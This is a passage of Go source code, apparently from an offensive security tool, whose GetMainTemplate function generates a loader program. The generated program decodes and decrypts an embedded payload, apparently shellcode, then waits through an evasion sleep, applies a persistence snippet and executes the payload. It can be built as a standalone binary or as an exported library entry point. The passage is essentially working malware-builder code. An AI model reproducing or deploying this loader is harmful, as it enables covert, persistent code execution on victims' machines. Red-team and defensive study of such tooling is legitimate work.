nil 157 | } 158 | 159 | func GetMainTemplate( 160 | encoding string, 161 | key string, 162 | sc string, 163 | sleepTime uint, 164 | persistData string, 165 | shouldExport bool, 166 | ) string { 167 | 168 | /* if hex encoding is used, it does not require to go through StdEncoding */ 169 | encCall := "enc.StdEncoding" 170 | if encoding == "hex" { 171 | encCall = "enc" 172 | } 173 | exportImpStr := `import "C"` 174 | exportexpStr := ` 175 | func main() {} 176 | //export entry 177 | func entry() {` 178 | if !shouldExport { 179 | exportImpStr = "" 180 | exportexpStr = "func main() {" 181 | } 182 | return fmt.Sprintf(` 183 | package main 184 | 185 | import ( 186 | "time" 187 | "os" 188 | enc "encoding/%s" 189 | ) 190 | 191 | %s 192 | var Key = %s 193 | var Code = %s 194 | %s 195 | 196 | decodedSc, _ := %s.DecodeString(Code) 197 | decodedKey, _ := %s.DecodeString(Key) 198 | 199 | decrypted, err := Decrypt(decodedSc, decodedKey) 200 | if err != nil { 201 | os.Exit(1) 202 | } 203 | 204 | time.Sleep(%d * time.Second) 205 | 206 | %s 207 | ExecuteOrderSixtySix(decrypted) 208 | } 209 | `, encoding, exportImpStr, key, sc, exportexpStr, encCall, encCall, sleepTime, persistData) 210 | } 211 | --------------------------------------------------------------------------------